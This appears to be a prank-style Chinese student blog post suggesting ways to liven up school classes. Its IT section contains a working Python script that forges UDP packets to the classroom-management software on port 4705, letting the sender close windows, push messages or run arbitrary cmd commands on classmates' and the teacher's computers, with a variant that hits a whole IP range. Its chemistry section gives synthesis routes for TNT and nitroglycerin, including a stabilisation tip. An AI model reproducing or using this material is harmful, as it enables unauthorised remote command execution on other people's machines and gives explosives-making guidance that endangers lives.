(以下默认添加)新年新气象,祝大家蛇年大吉,巳巳如意。(历史的车轮滚滚向前,时代的潮流浩浩荡荡)新的一年要有新的开始。为了让大家在新学期里度过一段难忘的时光,我提出如下方案。

信息课

信息课感觉无聊? (本来想写一段DDoS的py代码,但是现在的oj没那么好炸了,所以算了) 小心谨慎地观察周围,打开cmd运用ipconfig查看自己的ip,然后运用你的数学天赋以及机房桌子上的银色号码牌的规律计算出Ta的ip,最后就可以增进和target_host = ["10.80.74.XX"]的Ta的友谊,让信息课更加美好!(机房的极域版本在未来几年里都大概不会更新,放心食用)


import socket
import random

def main():
    # use this one if you want a "great merit"
    '''
    target_host = []
    ip_head = "10.80.74."
    start = 138
    end = 187
    for i in range(start,end+1):
        ip = ip_head + str(i)
        target_host.append(ip)
    '''  
    target_host = ["10.80.74.144"]
    tool(target_host)


def tool(target_host):
    udp_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
    print(target_host)
    target_port = 4705

    while(1):
        head = "444d4f43000001006e030000"+str(random.randint(56,70))+str(random.randint(56,70))+"0000"+str(random.randint(56,70))+str(random.randint(56,70))+str(random.randint(56,70))
        n = int(input("0:close the window on the top 1:send “hello” 2:cmd 3:exit  :"))
        #n=2
        if n == 0:
            message = head + "000000000000000000204e0000c0a8019b610300006103000000020000000000000e0000000000000001000000e102020ba615e102020ca9150100112b0000100001000000010000005e010000000000000200000000500000a005000001000000190000004b00000000000000c0a8019b040000000c00000010000000000000002003e00100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000049f47ac5a8ed19009f93410088aa560018f51900d8ed1900ae95410018f51900fb03000000000000d02d40000000000039000000000000000000000018f51900fb030000fced190050304f00fb030000000000000000000000000000fb03000018f51900000000004cee1900ac764100fb03000000000000000000000000000018f5190018f5190011010000116000801a0808000c819677c8260e01b0260e016d19abb111600080c0439777420300000000000018f5190060ee19008fe14000000000005405030018f5190018ef190014804100fb03000054050300c9f67ac51101000018f51900504205011a08080018ef1900ed5ed17552d414861a08080018ef190040519a0154050300000000002101000000000000908996010c2000000100000000ef19009735d17540519a01000000002c64abcf150200000000000000000000000000000c64abcf000000000000000050420501e8195900041a5900a062d375bc1b6aba14ef1900db294200ffffff7f00000000a0ef1900930853000000000038ef19009236410011010000fb0300005405030034ef190018f5190000000000acef1900396b410011010000fb030000540503007df67ac511010000ae060c00926b41001a08080011010000110400003c0405000000000000000000000000007c145300ffffffff5042050100000000000000000000000000000000000000007df67ac54cef1900ccf019007f07530000000000ccef1900c86b410018f51900ae060c0011010000fb0300005405030000000000f8ef19008b43d375ae060c0011010000fb0300005405030000000000cdabbadc926b41001101000000000000dcf019008c4fd175926b4100ae060c0011010000fb03000054050300f07babcf000000001095980100000040c07babcf0000000040519a012400000001000000000000000000000070000000ffffffffffffffffdb4dd1753152d1750000"
        elif n==1:
            message = head + "000000000000000000204e0000c0a88e019103000091030000000800000000000005000000604f7d590000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000604f7d590000ffffb4f119009293727640ed1900ffffffff483d0e01e8195900041a590028de7276310000000ced1900db294200041a590002040000ccc60e010000000038ed1900492f4200692f420093ef7e450204000018f519000000000014ed19005ced1900eba5c7152c090b00bca6f00200000000eea0410054ed1900d3884300800808001df3010068ed19001f444200800808002c090b00bca6f00204ee1900f66e4100576f4100afec7e450204000018f51900000000004000000040a07c7700000503b4ed1900d7e97e45a8ed19009f93410088aa560018f51900d8ed1900ae95410018f519000204000000000000902840000000000039000000000000000000000018f5190002040000fced190050304f00020400000000000000000000000000000204000018f51900000000004cee1900ac7641000204000000000000000000000000000018f5190018f519001101000011600080140812000c819677b05f8d05985f8d056d19abb111600080c0439777e80500000000000018f5190060ee19008fe14000000000002c090b0018f5190018ef190014804100020400002c090b00b3ed7e451101000018f51900c8d70e011408120018ef1900ed5ed175efc04d761408120018ef190050819d012c090b0000000000210100000000000080a99301f42400000100000000ef19009735d17550819d010000000083a7c71515020000000000000000000000000000a3a7c7150000000000000000c8d70e01e8195900041a5900a062d37513d8066014ef1900db294200ffffff7f00000000a0ef1900930853000000000038ef19009236410011010000020400002c090b0034ef190018f5190000000000acef1900396b410011010000020400002c090b0007ed7e451101000080080800926b41001408120011010000110400007c0408000000000000000000000000007c145300ffffffffc8d70e01000000000000000000000000000000000000000007ed7e454cef1900ccf019007f07530000000000ccef1900c86b410018f519008008080011010000020400002c090b0000000000f8ef19008b43d3758008080011010000020400002c090b0000000000cdabbadc926b41001101000000000000dcf019008c4fd175926b410080080800110100000204"
        elif n==2:
            a = input("input command:")
            cmd = str(str_to_hex(a))
            message = str(message_message(head,cmd))
        elif n == 3:
            break
        binary_date = bytes.fromhex(message)
        for ip in target_host:
            udp_socket.connect((ip, target_port))
            bytes_sent = udp_socket.sendall(binary_date)
        print(f"Sent ok")
            
    udp_socket.close()

def str_to_hex(cmd_code):
    d = 0
    result_chuli =""
    result = ''.join([format(ord(c), '02x') for c in cmd_code])
    for char in result:
        d = d+1
        result_chuli = result_chuli+char
        if d%2==0:
            result_chuli = result_chuli + "00"
    hex_str = "2f0063002000" + result_chuli
    return hex_str


def message_message(head,cmd):

    lenth = 0
    message_head = head + "000000000000000000204e0000c0a88e01610300006103000000020000000000000f0000000100000043003a005c00570069006e0064006f00770073005c00730079007300740065006d00330032005c0063006d0064002e006500780065000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" + cmd
    for i in range(0,len(message_head),2):
        lenth=lenth+1
    if lenth <=1038:
        for n in range(0,2076-len(message_head),2):
            message_head = message_head+"00"
        return message_head
    else:
        print("Don't be a greeder. The command is too long.")
    

main()


P.S. 代码中的10.80.74.144曾是我的一个廉价劳动力,他对这一段代码的令人惊叹和折服的效果甚至激动地举起了拳头表示赞赏。(其实你可以控制教师机)


化学课

化学实验课的实验索然无味,或者你的动手能力跟不上你的审美?别急,这几个小实验可以让所有人都知道真理在大炮的射程内。


1. 甲苯与硝酸在浓硫酸中加热生成三硝基甲苯

$$ \mathrm{ C_6H_5CH_3 + 3HNO_3 \space \xlongequal [\Delta] {H_2SO_4} \space C_7H_5N_3O_6 + 3H_2O } $$

优点:比较安全,能耐受撞击和摩擦,任何量突然受热都能引发(需雷管)。

什么??你没有甲苯?(其实挺便宜,基本上不会在实验室里制取)俺有两招。

step.1 甲醇与盐酸在催化剂中反应生成一氯甲烷

$$ \mathrm{ CH_3OH + HCl \space \xlongequal [\Delta] {ZnCl_2} \space CH_3Cl + H_2O } $$

step.2 AlCl3催化下的苯的甲基化

$$ \mathrm{ C_6H_5H + CH_3Cl \space \xlongequal {AlCl_3} \space C_6H_5CH_3 + HCl } $$

甲醇也得要买,不如直接买甲苯~

2. 甘油与硝酸反应生成硝化甘油

$$ \mathrm{ C_3H_8O_3 + 3HNO_3 \space \xlongequal { \Delta } \space C_3H_5N_3O_9 + 3H_2O } $$

此时硝化甘油不稳定,轻微碰撞可能导致引发,需要用硅藻土吸收硝化甘油。硅藻土是一种硅质岩石,主要由古代硅藻的遗骸所组成,化学成分主要是SiO2,含有少量的Al2O3、Fe2O3、CaO、MgO和有机质等。

看来你的审美品味的确非常高,跟诺贝尔一样呢